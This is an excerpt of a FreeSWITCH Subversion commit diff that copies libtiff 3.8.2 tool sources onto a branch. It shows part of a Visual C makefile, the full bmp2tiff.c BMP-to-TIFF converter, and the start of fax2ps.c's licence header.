+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+# Makefile for MS Visual C and Watcom C compilers.
+#
+# To build:
+# C:\libtiff\tools> nmake /f makefile.vc 
+
+!INCLUDE ..\nmake.opt
+
+TARGETS	=	bmp2tiff.exe tiffcp.exe tiffinfo.exe tiffdump.exe \
+		fax2tiff.exe fax2ps.exe gif2tiff.exe pal2rgb.exe ppm2tiff.exe \
+		rgb2ycbcr.exe thumbnail.exe ras2tiff.exe raw2tiff.exe \
+		tiff2bw.exe tiff2rgba.exe tiff2pdf.exe tiff2ps.exe \
+		tiffcmp.exe tiffdither.exe tiffmedian.exe tiffsplit.exe 
+
+INCL		= 	-I..\libtiff
+LIBS		=	$(LIBS) ..\port\libport.lib ..\libtiff\libtiff.lib
+
+default:	$(TARGETS)
+
+.c.exe:
+	$(CC) $(CFLAGS) $*.c $(EXTRA_OBJ) $(LIBS)
+
+tiffgt.exe:
+	$(CC) $(CFLAGS) tiffgt.c $(EXTRA_OBJ) $(LIBS)
+
+clean:
+	-del *.exe
+	-del *.obj

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/bmp2tiff.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/bmp2tiff.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/bmp2tiff.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/bmp2tiff.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/bmp2tiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,843 @@
+/* $Id: bmp2tiff.c,v 1.20 2006/03/23 14:54:02 dron Exp $
+ *
+ * Project:  libtiff tools
+ * Purpose:  Convert Windows BMP files in TIFF.
+ * Author:   Andrey Kiselev, dron@ak4719.spb.edu
+ *
+ ******************************************************************************
+ * Copyright (c) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#if HAVE_FCNTL_H
+# include <fcntl.h>
+#endif
+
+#if HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+
+#if HAVE_IO_H
+# include <io.h>
+#endif
+
+#include "tiffio.h"
+
+#ifndef O_BINARY
+# define O_BINARY 0
+#endif
+
+enum BMPType
+{
+    BMPT_WIN4,      /* BMP used in Windows 3.0/NT 3.51/95 */
+    BMPT_WIN5,      /* BMP used in Windows NT 4.0/98/Me/2000/XP */
+    BMPT_OS21,      /* BMP used in OS/2 PM 1.x */
+    BMPT_OS22       /* BMP used in OS/2 PM 2.x */
+};
+
+/*
+ * Bitmap file consists of a BMPFileHeader structure followed by a
+ * BMPInfoHeader structure. An array of BMPColorEntry structures (also called
+ * a colour table) follows the bitmap information header structure. The colour
+ * table is followed by a second array of indexes into the colour table (the
+ * actual bitmap data). Data may be comressed, for 4-bpp and 8-bpp used RLE
+ * compression.
+ *
+ * +---------------------+
+ * | BMPFileHeader       |
+ * +---------------------+
+ * | BMPInfoHeader       |
+ * +---------------------+
+ * | BMPColorEntry array |
+ * +---------------------+
+ * | Colour-index array  |
+ * +---------------------+
+ *
+ * All numbers stored in Intel order with least significant byte first.
+ */
+
+enum BMPComprMethod
+{
+    BMPC_RGB = 0L,          /* Uncompressed */
+    BMPC_RLE8 = 1L,         /* RLE for 8 bpp images */
+    BMPC_RLE4 = 2L,         /* RLE for 4 bpp images */
+    BMPC_BITFIELDS = 3L,    /* Bitmap is not compressed and the colour table
+			     * consists of three DWORD color masks that specify
+			     * the red, green, and blue components of each
+			     * pixel. This is valid when used with
+			     * 16- and 32-bpp bitmaps. */
+    BMPC_JPEG = 4L,         /* Indicates that the image is a JPEG image. */
+    BMPC_PNG = 5L           /* Indicates that the image is a PNG image. */
+};
+
+enum BMPLCSType                 /* Type of logical color space. */
+{
+    BMPLT_CALIBRATED_RGB = 0,	/* This value indicates that endpoints and
+				 * gamma values are given in the appropriate
+				 * fields. */
+    BMPLT_DEVICE_RGB = 1,
+    BMPLT_DEVICE_CMYK = 2
+};
+
+typedef struct
+{
+    int32   iCIEX;
+    int32   iCIEY;
+    int32   iCIEZ;
+} BMPCIEXYZ;
+
+typedef struct                  /* This structure contains the x, y, and z */
+{				/* coordinates of the three colors that */
+				/* correspond */
+    BMPCIEXYZ   iCIERed;        /* to the red, green, and blue endpoints for */
+    BMPCIEXYZ   iCIEGreen;      /* a specified logical color space. */
+    BMPCIEXYZ	iCIEBlue;
+} BMPCIEXYZTriple;
+
+typedef struct
+{
+    char	bType[2];       /* Signature "BM" */
+    uint32	iSize;          /* Size in bytes of the bitmap file. Should
+				 * always be ignored while reading because
+				 * of error in Windows 3.0 SDK's description
+				 * of this field */
+    uint16	iReserved1;     /* Reserved, set as 0 */
+    uint16	iReserved2;     /* Reserved, set as 0 */
+    uint32	iOffBits;       /* Offset of the image from file start in bytes */
+} BMPFileHeader;
+
+/* File header size in bytes: */
+const int       BFH_SIZE = 14;
+
+typedef struct
+{
+    uint32	iSize;          /* Size of BMPInfoHeader structure in bytes.
+				 * Should be used to determine start of the
+				 * colour table */
+    int32	iWidth;         /* Image width */
+    int32	iHeight;        /* Image height. If positive, image has bottom
+				 * left origin, if negative --- top left. */
+    int16	iPlanes;        /* Number of image planes (must be set to 1) */
+    int16	iBitCount;      /* Number of bits per pixel (1, 4, 8, 16, 24
+				 * or 32). If 0 then the number of bits per
+				 * pixel is specified or is implied by the
+				 * JPEG or PNG format. */
+    uint32	iCompression;	/* Compression method */
+    uint32	iSizeImage;     /* Size of uncomressed image in bytes. May
+				 * be 0 for BMPC_RGB bitmaps. If iCompression
+				 * is BI_JPEG or BI_PNG, iSizeImage indicates
+				 * the size of the JPEG or PNG image buffer. */
+    int32	iXPelsPerMeter; /* X resolution, pixels per meter (0 if not used) */
+    int32	iYPelsPerMeter; /* Y resolution, pixels per meter (0 if not used) */
+    uint32	iClrUsed;       /* Size of colour table. If 0, iBitCount should
+				 * be used to calculate this value
+				 * (1<<iBitCount). This value should be
+				 * unsigned for proper shifting. */
+    int32	iClrImportant;  /* Number of important colours. If 0, all
+				 * colours are required */
+
+    /*
+     * Fields above should be used for bitmaps, compatible with Windows NT 3.51
+     * and earlier. Windows 98/Me, Windows 2000/XP introduces additional fields:
+     */
+
+    int32	iRedMask;       /* Colour mask that specifies the red component
+				 * of each pixel, valid only if iCompression
+				 * is set to BI_BITFIELDS. */
+    int32	iGreenMask;     /* The same for green component */
+    int32	iBlueMask;      /* The same for blue component */
+    int32	iAlphaMask;     /* Colour mask that specifies the alpha
+				 * component of each pixel. */
+    uint32	iCSType;        /* Colour space of the DIB. */
+    BMPCIEXYZTriple sEndpoints; /* This member is ignored unless the iCSType
+				 * member specifies BMPLT_CALIBRATED_RGB. */
+    int32	iGammaRed;      /* Toned response curve for red. This member
+				 * is ignored unless color values are
+				 * calibrated RGB values and iCSType is set to
+				 * BMPLT_CALIBRATED_RGB. Specified
+				 * in 16^16 format. */
+    int32	iGammaGreen;    /* Toned response curve for green. */
+    int32	iGammaBlue;     /* Toned response curve for blue. */
+} BMPInfoHeader;
+
+/*
+ * Info header size in bytes:
+ */
+const unsigned int  BIH_WIN4SIZE = 40; /* for BMPT_WIN4 */
+const unsigned int  BIH_WIN5SIZE = 57; /* for BMPT_WIN5 */
+const unsigned int  BIH_OS21SIZE = 12; /* for BMPT_OS21 */
+const unsigned int  BIH_OS22SIZE = 64; /* for BMPT_OS22 */
+
+/*
+ * We will use plain byte array instead of this structure, but declaration
+ * provided for reference
+ */
+typedef struct
+{
+    char       bBlue;
+    char       bGreen;
+    char       bRed;
+    char       bReserved;      /* Must be 0 */
+} BMPColorEntry;
+
+static	uint16 compression = (uint16) -1;
+static	int jpegcolormode = JPEGCOLORMODE_RGB;
+static	int quality = 75;		/* JPEG quality */
+static	uint16 predictor = 0;
+
+static void usage(void);
+static int processCompressOptions(char*);
+static void rearrangePixels(char *, uint32, uint32);
+
+int
+main(int argc, char* argv[])
+{
+	uint32	width, length;
+	uint16	nbands = 1;		/* number of bands in input image */
+        uint16	depth = 8;		/* bits per pixel in input image */
+	uint32	rowsperstrip = (uint32) -1;
+        uint16	photometric = PHOTOMETRIC_MINISBLACK;
+	int	fd = 0;
+	struct stat instat;
+	char	*outfilename = NULL, *infilename = NULL;
+	TIFF	*out = NULL;
+
+	BMPFileHeader file_hdr;
+        BMPInfoHeader info_hdr;
+        int     bmp_type;
+        uint32  clr_tbl_size, n_clr_elems = 3;
+        unsigned char *clr_tbl;
+	unsigned short *red_tbl = NULL, *green_tbl = NULL, *blue_tbl = NULL;
+	uint32	row, clr;
+
+	int	c;
+	extern int optind;
+	extern char* optarg;
+
+	while ((c = getopt(argc, argv, "c:r:o:h")) != -1) {
+		switch (c) {
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case 'o':
+			outfilename = optarg;
+			break;
+		case 'h':
+			usage();
+		default:
+			break;
+		}
+	}
+
+	if (argc - optind < 2)
+		usage();
+
+	if (outfilename == NULL)
+		outfilename = argv[argc-1];
+	out = TIFFOpen(outfilename, "w");
+	if (out == NULL) {
+		TIFFError(infilename, "Cannot open file %s for output",
+			  outfilename);
+		goto bad3;
+	}
+	
+
+	while (optind < argc-1) {
+		infilename = argv[optind];
+		optind++;
+	    
+		fd = open(infilename, O_RDONLY|O_BINARY, 0);
+		if (fd < 0) {
+			TIFFError(infilename, "Cannot open input file");
+			return -1;
+		}
+
+		read(fd, file_hdr.bType, 2);
+		if(file_hdr.bType[0] != 'B' || file_hdr.bType[1] != 'M') {
+			TIFFError(infilename, "File is not BMP");
+			goto bad;
+		}
+
+/* -------------------------------------------------------------------- */
+/*      Read the BMPFileHeader. We need iOffBits value only             */
+/* -------------------------------------------------------------------- */
+		lseek(fd, 10, SEEK_SET);
+		read(fd, &file_hdr.iOffBits, 4);
+#ifdef WORDS_BIGENDIAN
+		TIFFSwabLong(&file_hdr.iOffBits);
+#endif
+		fstat(fd, &instat);
+		file_hdr.iSize = instat.st_size;
+
+/* -------------------------------------------------------------------- */
+/*      Read the BMPInfoHeader.                                         */
+/* -------------------------------------------------------------------- */
+
+		lseek(fd, BFH_SIZE, SEEK_SET);
+		read(fd, &info_hdr.iSize, 4);
+#ifdef WORDS_BIGENDIAN
+		TIFFSwabLong(&info_hdr.iSize);
+#endif
+
+		if (info_hdr.iSize == BIH_WIN4SIZE)
+			bmp_type = BMPT_WIN4;
+		else if (info_hdr.iSize == BIH_OS21SIZE)
+			bmp_type = BMPT_OS21;
+		else if (info_hdr.iSize == BIH_OS22SIZE
+			 || info_hdr.iSize == 16)
+			bmp_type = BMPT_OS22;
+		else
+			bmp_type = BMPT_WIN5;
+
+		if (bmp_type == BMPT_WIN4
+		    || bmp_type == BMPT_WIN5
+		    || bmp_type == BMPT_OS22) {
+			read(fd, &info_hdr.iWidth, 4);
+			read(fd, &info_hdr.iHeight, 4);
+			read(fd, &info_hdr.iPlanes, 2);
+			read(fd, &info_hdr.iBitCount, 2);
+			read(fd, &info_hdr.iCompression, 4);
+			read(fd, &info_hdr.iSizeImage, 4);
+			read(fd, &info_hdr.iXPelsPerMeter, 4);
+			read(fd, &info_hdr.iYPelsPerMeter, 4);
+			read(fd, &info_hdr.iClrUsed, 4);
+			read(fd, &info_hdr.iClrImportant, 4);
+#ifdef WORDS_BIGENDIAN
+			TIFFSwabLong((uint32*) &info_hdr.iWidth);
+			TIFFSwabLong((uint32*) &info_hdr.iHeight);
+			TIFFSwabShort((uint16*) &info_hdr.iPlanes);
+			TIFFSwabShort((uint16*) &info_hdr.iBitCount);
+			TIFFSwabLong((uint32*) &info_hdr.iCompression);
+			TIFFSwabLong((uint32*) &info_hdr.iSizeImage);
+			TIFFSwabLong((uint32*) &info_hdr.iXPelsPerMeter);
+			TIFFSwabLong((uint32*) &info_hdr.iYPelsPerMeter);
+			TIFFSwabLong((uint32*) &info_hdr.iClrUsed);
+			TIFFSwabLong((uint32*) &info_hdr.iClrImportant);
+#endif
+			n_clr_elems = 4;
+		}
+
+		if (bmp_type == BMPT_OS22) {
+			/* 
+			 * FIXME: different info in different documents
+			 * regarding this!
+			 */
+			 n_clr_elems = 3;
+		}
+
+		if (bmp_type == BMPT_OS21) {
+			int16  iShort;
+
+			read(fd, &iShort, 2);
+#ifdef WORDS_BIGENDIAN
+			TIFFSwabShort((uint16*) &iShort);
+#endif
+			info_hdr.iWidth = iShort;
+			read(fd, &iShort, 2);
+#ifdef WORDS_BIGENDIAN
+			TIFFSwabShort((uint16*) &iShort);
+#endif
+			info_hdr.iHeight = iShort;
+			read(fd, &iShort, 2);
+#ifdef WORDS_BIGENDIAN
+			TIFFSwabShort((uint16*) &iShort);
+#endif
+			info_hdr.iPlanes = iShort;
+			read(fd, &iShort, 2);
+#ifdef WORDS_BIGENDIAN
+			TIFFSwabShort((uint16*) &iShort);
+#endif
+			info_hdr.iBitCount = iShort;
+			info_hdr.iCompression = BMPC_RGB;
+			n_clr_elems = 3;
+		}
+
+		if (info_hdr.iBitCount != 1  && info_hdr.iBitCount != 4  &&
+		    info_hdr.iBitCount != 8  && info_hdr.iBitCount != 16 &&
+		    info_hdr.iBitCount != 24 && info_hdr.iBitCount != 32) {
+		    TIFFError(infilename,
+			      "Cannot process BMP file with bit count %d",
+			      info_hdr.iBitCount);
+		    close(fd);
+		    return 0;
+		}
+
+		width = info_hdr.iWidth;
+		length = (info_hdr.iHeight > 0) ? info_hdr.iHeight : -info_hdr.iHeight;
+
+		switch (info_hdr.iBitCount)
+		{
+			case 1:
+			case 4:
+			case 8:
+				nbands = 1;
+				depth = info_hdr.iBitCount;
+				photometric = PHOTOMETRIC_PALETTE;
+				/* Allocate memory for colour table and read it. */
+				if (info_hdr.iClrUsed)
+				    clr_tbl_size =
+					    ((uint32)(1<<depth)<info_hdr.iClrUsed)
+					    ? (uint32) (1 << depth)
+					    : info_hdr.iClrUsed;
+				else
+				    clr_tbl_size = 1 << depth;
+				clr_tbl = (unsigned char *)
+					_TIFFmalloc(n_clr_elems * clr_tbl_size);
+				if (!clr_tbl) {
+					TIFFError(infilename,
+					"Can't allocate space for color table");
+					goto bad;
+				}
+
+				lseek(fd, BFH_SIZE + info_hdr.iSize, SEEK_SET);
+				read(fd, clr_tbl, n_clr_elems * clr_tbl_size);
+
+				red_tbl = (unsigned short*)
+					_TIFFmalloc(1<<depth * sizeof(unsigned short));
+				if (!red_tbl) {
+					TIFFError(infilename,
+				"Can't allocate space for red component table");
+					_TIFFfree(clr_tbl);
+					goto bad1;
+				}
+				green_tbl = (unsigned short*)
+					_TIFFmalloc(1<<depth * sizeof(unsigned short));
+				if (!green_tbl) {
+					TIFFError(infilename,
+				"Can't allocate space for green component table");
+					_TIFFfree(clr_tbl);
+					goto bad2;
+				}
+				blue_tbl = (unsigned short*)
+					_TIFFmalloc(1<<depth * sizeof(unsigned short));
+				if (!blue_tbl) {
+					TIFFError(infilename,
+				"Can't allocate space for blue component table");
+					_TIFFfree(clr_tbl);
+					goto bad3;
+				}
+
+				for(clr = 0; clr < clr_tbl_size; clr++) {
+				    red_tbl[clr] = 257*clr_tbl[clr*n_clr_elems+2];
+				    green_tbl[clr] = 257*clr_tbl[clr*n_clr_elems+1];
+				    blue_tbl[clr] = 257*clr_tbl[clr*n_clr_elems];
+				}
+
+				_TIFFfree(clr_tbl);
+				break;
+			case 16:
+			case 24:
+				nbands = 3;
+				depth = info_hdr.iBitCount / nbands;
+				photometric = PHOTOMETRIC_RGB;
+				break;
+			case 32:
+				nbands = 3;
+				depth = 8;
+				photometric = PHOTOMETRIC_RGB;
+				break;
+			default:
+				break;
+		}
+
+/* -------------------------------------------------------------------- */
+/*  Create output file.                                                 */
+/* -------------------------------------------------------------------- */
+
+		TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width);
+		TIFFSetField(out, TIFFTAG_IMAGELENGTH, length);
+		TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+		TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, nbands);
+		TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, depth);
+		TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+		TIFFSetField(out, TIFFTAG_PHOTOMETRIC, photometric);
+		TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
+			     TIFFDefaultStripSize(out, rowsperstrip));
+		
+		if (red_tbl && green_tbl && blue_tbl) {
+			TIFFSetField(out, TIFFTAG_COLORMAP,
+				     red_tbl, green_tbl, blue_tbl);
+		}
+		
+		if (compression == (uint16) -1)
+			compression = COMPRESSION_PACKBITS;
+		TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+		switch (compression) {
+		case COMPRESSION_JPEG:
+			if (photometric == PHOTOMETRIC_RGB
+			    && jpegcolormode == JPEGCOLORMODE_RGB)
+				photometric = PHOTOMETRIC_YCBCR;
+			TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
+			TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+			break;
+		case COMPRESSION_LZW:
+		case COMPRESSION_DEFLATE:
+			if (predictor != 0)
+				TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+			break;
+		}
+
+/* -------------------------------------------------------------------- */
+/*  Read uncompressed image data.                                       */
+/* -------------------------------------------------------------------- */
+
+		if (info_hdr.iCompression == BMPC_RGB) {
+			uint32 offset, size;
+			char *scanbuf;
+
+			/* XXX: Avoid integer overflow. We can calculate size
+			 * in one step using
+			 *
+			 *  size = ((width * info_hdr.iBitCount + 31) & ~31) / 8
+			 *
+			 * formulae, but we should check for overflow
+			 * conditions during calculation.
+			 */
+			size = width * info_hdr.iBitCount + 31;
+			if (!width || !info_hdr.iBitCount
+			    || (size - 31) / info_hdr.iBitCount != width ) {
+				TIFFError(infilename,
+					  "Wrong image parameters; can't "
+					  "allocate space for scanline buffer");
+				goto bad3;
+			}
+			size = (size & ~31) / 8;
+
+			scanbuf = (char *) _TIFFmalloc(size);
+			if (!scanbuf) {
+				TIFFError(infilename,
+				"Can't allocate space for scanline buffer");
+				goto bad3;
+			}
+
+			for (row = 0; row < length; row++) {
+				if (info_hdr.iHeight > 0)
+					offset = file_hdr.iOffBits+(length-row-1)*size;
+				else
+					offset = file_hdr.iOffBits + row * size;
+				if (lseek(fd, offset, SEEK_SET) == (off_t)-1) {
+					TIFFError(infilename,
+						  "scanline %lu: Seek error",
+						  (unsigned long) row);
+					break;
+				}
+
+				if (read(fd, scanbuf, size) < 0) {
+					TIFFError(infilename,
+						  "scanline %lu: Read error",
+						  (unsigned long) row);
+					break;
+				}
+
+				rearrangePixels(scanbuf, width, info_hdr.iBitCount);
+
+				if (TIFFWriteScanline(out, scanbuf, row, 0)<0) {
+					TIFFError(infilename,
+						  "scanline %lu: Write error",
+						  (unsigned long) row);
+					break;
+				}
+			}
+
+			_TIFFfree(scanbuf);
+
+/* -------------------------------------------------------------------- */
+/*  Read compressed image data.                                         */
+/* -------------------------------------------------------------------- */
+
+		} else if ( info_hdr.iCompression == BMPC_RLE8
+			    || info_hdr.iCompression == BMPC_RLE4 ) {
+			uint32		i, j, k, runlength;
+			uint32		compr_size, uncompr_size;
+			unsigned char   *comprbuf;
+			unsigned char   *uncomprbuf;
+
+			compr_size = file_hdr.iSize - file_hdr.iOffBits;
+			uncompr_size = width * length;
+			comprbuf = (unsigned char *) _TIFFmalloc( compr_size );
+			if (!comprbuf) {
+				TIFFError(infilename,
+			"Can't allocate space for compressed scanline buffer");
+				goto bad3;
+			}
+			uncomprbuf = (unsigned char *)_TIFFmalloc(uncompr_size);
+			if (!uncomprbuf) {
+				TIFFError(infilename,
+			"Can't allocate space for uncompressed scanline buffer");
+				goto bad3;
+			}
+
+			lseek(fd, file_hdr.iOffBits, SEEK_SET);
+			read(fd, comprbuf, compr_size);
+			i = 0;
+			j = 0;
+			if (info_hdr.iBitCount == 8) {		/* RLE8 */
+			    while(j < uncompr_size && i < compr_size) {
+				if ( comprbuf[i] ) {
+				    runlength = comprbuf[i++];
+				    while( runlength > 0
+					   && j < uncompr_size
+					   && i < compr_size ) {
+					uncomprbuf[j++] = comprbuf[i];
+					runlength--;
+				    }
+				    i++;
+				} else {
+				    i++;
+				    if (comprbuf[i] == 0) /* Next scanline */
+					i++;
+				    else if (comprbuf[i] == 1) /* End of image */
+					break;
+				    else if (comprbuf[i] == 2) { /* Move to... */
+					i++;
+					if (i < compr_size - 1) {
+					    j+=comprbuf[i]+comprbuf[i+1]*width;
+					    i += 2;
+					}
+					else
+					    break;
+				    } else {            /* Absolute mode */
+					runlength = comprbuf[i++];
+					for (k = 0; k < runlength && j < uncompr_size && i < compr_size; k++)
+					    uncomprbuf[j++] = comprbuf[i++];
+					if ( k & 0x01 )
+					    i++;
+				    }
+				}
+			    }
+			}
+			else {				    /* RLE4 */
+			    while( j < uncompr_size && i < compr_size ) {
+				if ( comprbuf[i] ) {
+				    runlength = comprbuf[i++];
+				    while( runlength > 0 && j < uncompr_size && i < compr_size ) {
+					if ( runlength & 0x01 )
+					    uncomprbuf[j++] = (comprbuf[i] & 0xF0) >> 4;
+					else
+					    uncomprbuf[j++] = comprbuf[i] & 0x0F;
+					runlength--;
+				    }
+				    i++;
+				} else {
+				    i++;
+				    if (comprbuf[i] == 0) /* Next scanline */
+					i++;
+				    else if (comprbuf[i] == 1) /* End of image */
+					break;
+				    else if (comprbuf[i] == 2) { /* Move to... */
+					i++;
+					if (i < compr_size - 1) {
+					    j+=comprbuf[i]+comprbuf[i+1]*width;
+					    i += 2;
+					}
+					else
+					    break;
+				    } else {            /* Absolute mode */
+					runlength = comprbuf[i++];
+					for (k = 0; k < runlength && j < uncompr_size && i < compr_size; k++) {
+					    if (k & 0x01)
+						uncomprbuf[j++] = comprbuf[i++] & 0x0F;
+					    else
+						uncomprbuf[j++] = (comprbuf[i] & 0xF0) >> 4;
+					}
+					if (k & 0x01)
+					    i++;
+				    }
+				}
+			    }
+			}
+
+			_TIFFfree(comprbuf);
+
+			for (row = 0; row < length; row++) {
+				if (TIFFWriteScanline(out,
+					uncomprbuf + (length - row - 1) * width,
+					row, 0) < 0) {
+					TIFFError(infilename,
+						"scanline %lu: Write error.\n",
+						  (unsigned long) row);
+				}
+			}
+
+			_TIFFfree(uncomprbuf);
+		}
+		TIFFWriteDirectory(out);
+		if (blue_tbl) {
+		  _TIFFfree(blue_tbl);
+		  blue_tbl=NULL;
+		}
+		if (green_tbl) {
+		  _TIFFfree(green_tbl);
+		  green_tbl=NULL;
+		}
+		if (red_tbl) {
+		  _TIFFfree(red_tbl);
+		  red_tbl=NULL;
+		}
+	}
+
+bad3:
+	if (blue_tbl)
+		_TIFFfree(blue_tbl);
+bad2:
+	if (green_tbl)
+		_TIFFfree(green_tbl);
+bad1:
+	if (red_tbl)
+		_TIFFfree(red_tbl);
+bad:
+        close(fd);
+
+	if (out)
+		TIFFClose(out);
+        return 0;
+}
+
+/*
+ * Image data in BMP file stored in BGR (or ABGR) format. We should rearrange
+ * pixels to RGB (RGBA) format.
+ */
+static void
+rearrangePixels(char *buf, uint32 width, uint32 bit_count)
+{
+	char tmp;
+	uint32 i;
+
+        switch(bit_count) {
+		case 16:    /* FIXME: need a sample file */
+                        break;
+                case 24:
+			for (i = 0; i < width; i++, buf += 3) {
+				tmp = *buf;
+				*buf = *(buf + 2);
+				*(buf + 2) = tmp;
+			}
+                        break;
+                case 32:
+			{
+				char	*buf1 = buf;
+
+				for (i = 0; i < width; i++, buf += 4) {
+					tmp = *buf;
+					*buf1++ = *(buf + 2);
+					*buf1++ = *(buf + 1);
+					*buf1++ = tmp;
+				}
+			}
+                        break;
+                default:
+                        break;
+        }
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (strcmp(opt, "none") == 0)
+		compression = COMPRESSION_NONE;
+	else if (strcmp(opt, "packbits") == 0)
+		compression = COMPRESSION_PACKBITS;
+	else if (strncmp(opt, "jpeg", 4) == 0) {
+		char* cp = strchr(opt, ':');
+
+                compression = COMPRESSION_JPEG;
+                while( cp )
+                {
+                    if (isdigit((int)cp[1]))
+			quality = atoi(cp+1);
+                    else if (cp[1] == 'r' )
+			jpegcolormode = JPEGCOLORMODE_RAW;
+                    else
+                        usage();
+
+                    cp = strchr(cp+1,':');
+                }
+	} else if (strncmp(opt, "lzw", 3) == 0) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strncmp(opt, "zip", 3) == 0) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+static char* stuff[] = {
+"bmp2tiff --- convert Windows BMP files to TIFF",
+"usage: bmp2tiff [options] input.bmp [input2.bmp ...] output.tif",
+"where options are:",
+" -r #		make each strip have no more than # rows",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c jpeg[:opts]compress output with JPEG encoding",
+" -c packbits	compress output with packbits encoding",
+" -c none	use no compression algorithm on output",
+"",
+"JPEG options:",
+" #		set compression quality level (0-100, default 75)",
+" r		output color image as RGB rather than YCbCr",
+"For example, -c jpeg:r:50 to get JPEG-encoded RGB data with 50% comp. quality",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+" -o out.tif	write output to out.tif",
+" -h		this help message",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/fax2ps.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/fax2ps.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/fax2ps.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/fax2ps.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/fax2ps.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,432 @@
+/* $Id: fax2ps.c,v 1.21 2006/03/21 16:37:51 dron Exp $" */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
